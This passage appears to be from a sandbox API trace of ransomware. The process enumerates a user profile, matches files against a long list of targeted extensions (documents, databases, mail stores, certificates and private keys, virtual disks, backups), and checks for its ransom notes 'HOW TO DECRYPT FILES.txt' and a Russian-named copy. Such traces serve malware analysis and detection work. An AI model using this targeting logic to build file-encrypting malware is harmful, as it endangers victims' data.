pszSpec="*.bz2") returned 0 [0090.863] lstrlenA (lpString="*.bz2") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.gz") returned 0 [0090.863] lstrlenA (lpString="*.gz") returned 4 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mkv") returned 0 [0090.863] lstrlenA (lpString="*.mkv") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.eml") returned 0 [0090.863] lstrlenA (lpString="*.eml") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.msg") returned 0 [0090.863] lstrlenA (lpString="*.msg") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.edb") returned 0 [0090.863] lstrlenA (lpString="*.edb") returned 5 [0090.863] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.accdb") returned 0 [0090.864] lstrlenA (lpString="*.accdb") returned 7 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.odb") returned 0 [0090.864] lstrlenA (lpString="*.odb") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.java") returned 0 [0090.864] lstrlenA (lpString="*.java") returned 6 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.asm") returned 0 [0090.864] lstrlenA (lpString="*.asm") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.pfx") returned 0 [0090.864] lstrlenA (lpString="*.pfx") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.pem") returned 0 [0090.864] lstrlenA (lpString="*.pem") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.p12") returned 0 [0090.864] lstrlenA (lpString="*.p12") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.gpg") returned 0 [0090.864] lstrlenA (lpString="*.gpg") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.vsd") returned 0 [0090.864] lstrlenA (lpString="*.vsd") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.odg") returned 0 [0090.864] lstrlenA (lpString="*.odg") returned 5 [0090.864] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.raw") returned 0 [0090.864] lstrlenA (lpString="*.raw") returned 5 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.nef") returned 0 [0090.865] lstrlenA (lpString="*.nef") returned 5 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.svg") returned 0 [0090.865] lstrlenA (lpString="*.svg") returned 5 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.psd") returned 0 [0090.865] lstrlenA (lpString="*.psd") returned 5 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.vmx") returned 0 [0090.865] lstrlenA (lpString="*.vmx") returned 5 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.vmdk") returned 0 [0090.865] lstrlenA (lpString="*.vmdk") returned 6 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.vdi") returned 0 [0090.865] lstrlenA (lpString="*.vdi") returned 5 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.lay6") returned 0 [0090.865] lstrlenA (lpString="*.lay6") returned 6 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mpeg") returned 0 [0090.865] lstrlenA (lpString="*.mpeg") returned 6 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.djvu") returned 0 [0090.865] lstrlenA (lpString="*.djvu") returned 6 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.tiff") returned 0 [0090.865] lstrlenA (lpString="*.tiff") returned 6 [0090.865] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.backup") returned 0 [0090.866] lstrlenA (lpString="*.backup") returned 8 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.pdf") returned 0 [0090.866] lstrlenA (lpString="*.pdf") returned 5 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.cert") returned 0 [0090.866] lstrlenA (lpString="*.cert") returned 6 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.docm") returned 0 [0090.866] lstrlenA (lpString="*.docm") returned 6 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.xlsm") returned 0 [0090.866] lstrlenA (lpString="*.xlsm") returned 6 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.dwg") returned 0 [0090.866] lstrlenA (lpString="*.dwg") returned 5 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.nd") returned 0 [0090.866] lstrlenA (lpString="*.nd") returned 4 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.tlg") returned 0 [0090.866] lstrlenA (lpString="*.tlg") returned 5 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.lgb") returned 0 [0090.866] lstrlenA (lpString="*.lgb") returned 5 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mov") returned 0 [0090.866] lstrlenA (lpString="*.mov") returned 5 [0090.866] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.xdw") returned 0 [0090.866] lstrlenA (lpString="*.xdw") returned 5 [0090.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.ods") returned 0 [0090.867] lstrlenA (lpString="*.ods") returned 5 [0090.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.wav") returned 0 [0090.867] lstrlenA (lpString="*.wav") returned 5 [0090.867] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.mp3") returned 0 [0090.867] lstrlenA (lpString="*.mp3") returned 5 [0090.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.aiff") returned 0 [0090.869] lstrlenA (lpString="*.aiff") returned 6 [0090.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.flac") returned 0 [0090.869] lstrlenA (lpString="*.flac") returned 6 [0090.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.m4a") returned 0 [0090.869] lstrlenA (lpString="*.m4a") returned 5 [0090.869] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1", pszSpec="*.csv") returned 0 [0090.869] lstrlenA (lpString="*.csv") returned 5 [0090.869] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0090.869] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.869] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ntuser.dat.LOG2") returned -1 [0090.869] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ntuser.dat.LOG2") returned -1 [0090.869] lstrcmpiA (lpString1="", lpString2="ntuser.dat.LOG2") returned -1 [0090.869] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned="ntuser.dat.LOG1" [0090.869] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0090.870] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="" [0090.870] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" [0090.870] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\how to decrypt files.txt")) returned 0x20 [0090.870] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="ntuser.dat.LOG2" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2" [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.ems") returned 0 [0090.870] lstrlenA (lpString="*.ems") returned 5 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.db") returned 0 [0090.870] lstrlenA (lpString="*.db") returned 4 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.dbf") returned 0 [0090.870] lstrlenA (lpString="*.dbf") returned 5 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.myox") returned 0 [0090.870] lstrlenA (lpString="*.myox") returned 6 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.myo") returned 0 [0090.870] lstrlenA (lpString="*.myo") returned 5 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qbw") returned 0 [0090.870] lstrlenA (lpString="*.qbw") returned 5 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qbb") returned 0 [0090.870] lstrlenA (lpString="*.qbb") returned 5 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qbm") returned 0 [0090.870] lstrlenA (lpString="*.qbm") returned 5 [0090.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qbo") returned 0 [0090.871] lstrlenA (lpString="*.qbo") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qbx") returned 0 [0090.871] lstrlenA (lpString="*.qbx") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qba") returned 0 [0090.871] lstrlenA (lpString="*.qba") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qby") returned 0 [0090.871] lstrlenA (lpString="*.qby") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qbj") returned 0 [0090.871] lstrlenA (lpString="*.qbj") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.ofx") returned 0 [0090.871] lstrlenA (lpString="*.ofx") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.qif") returned 0 [0090.871] lstrlenA (lpString="*.qif") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mye") returned 0 [0090.871] lstrlenA (lpString="*.mye") returned 5 [0090.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mbox") returned 0 [0090.872] lstrlenA (lpString="*.mbox") returned 6 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.eml") returned 0 [0090.872] lstrlenA (lpString="*.eml") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.pst") returned 0 [0090.872] lstrlenA (lpString="*.pst") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.ost") returned 0 [0090.872] lstrlenA (lpString="*.ost") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.idx") returned 0 [0090.872] lstrlenA (lpString="*.idx") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.dbx") returned 0 [0090.872] lstrlenA (lpString="*.dbx") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.sql") returned 0 [0090.872] lstrlenA (lpString="*.sql") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mdb") returned 0 [0090.872] lstrlenA (lpString="*.mdb") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.fdb") returned 0 [0090.872] lstrlenA (lpString="*.fdb") returned 5 [0090.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.wab") returned 0 [0090.873] lstrlenA (lpString="*.wab") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.dat") returned 0 [0090.873] lstrlenA (lpString="*.dat") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.txt") returned 0 [0090.873] lstrlenA (lpString="*.txt") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.jpeg") returned 0 [0090.873] lstrlenA (lpString="*.jpeg") returned 6 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.jpg") returned 0 [0090.873] lstrlenA (lpString="*.jpg") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.png") returned 0 [0090.873] lstrlenA (lpString="*.png") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.php") returned 0 [0090.873] lstrlenA (lpString="*.php") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.cs") returned 0 [0090.873] lstrlenA (lpString="*.cs") returned 4 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.cpp") returned 0 [0090.873] lstrlenA (lpString="*.cpp") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.rar") returned 0 [0090.873] lstrlenA (lpString="*.rar") returned 5 [0090.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.zip") returned 0 [0090.873] lstrlenA (lpString="*.zip") returned 5 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.html") returned 0 [0090.874] lstrlenA (lpString="*.html") returned 6 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.htm") returned 0 [0090.874] lstrlenA (lpString="*.htm") returned 5 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.xlsx") returned 0 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.xls") returned 0 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mp4") returned 0 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.ppt") returned 0 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.pptx") returned 0 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.doc") returned 0 [0090.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.dot") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.docx") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.7z") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.tar") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.bz2") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.gz") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mkv") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.eml") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.msg") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.edb") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.accdb") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.odb") returned 0 [0090.875] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.java") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.asm") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.pfx") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.pem") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.p12") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.gpg") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.vsd") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.odg") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.raw") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.nef") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.svg") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.psd") returned 0 [0090.876] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.vmx") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.vmdk") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.vdi") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.lay6") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mpeg") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.djvu") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.tiff") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.backup") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.pdf") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.cert") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.docm") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.xlsm") returned 0 [0090.877] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.dwg") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.nd") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.tlg") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.lgb") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mov") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.xdw") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.ods") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.wav") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.mp3") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.aiff") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.flac") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.m4a") returned 0 [0090.878] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2", pszSpec="*.csv") returned 0 [0090.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0090.879] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0090.879] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", 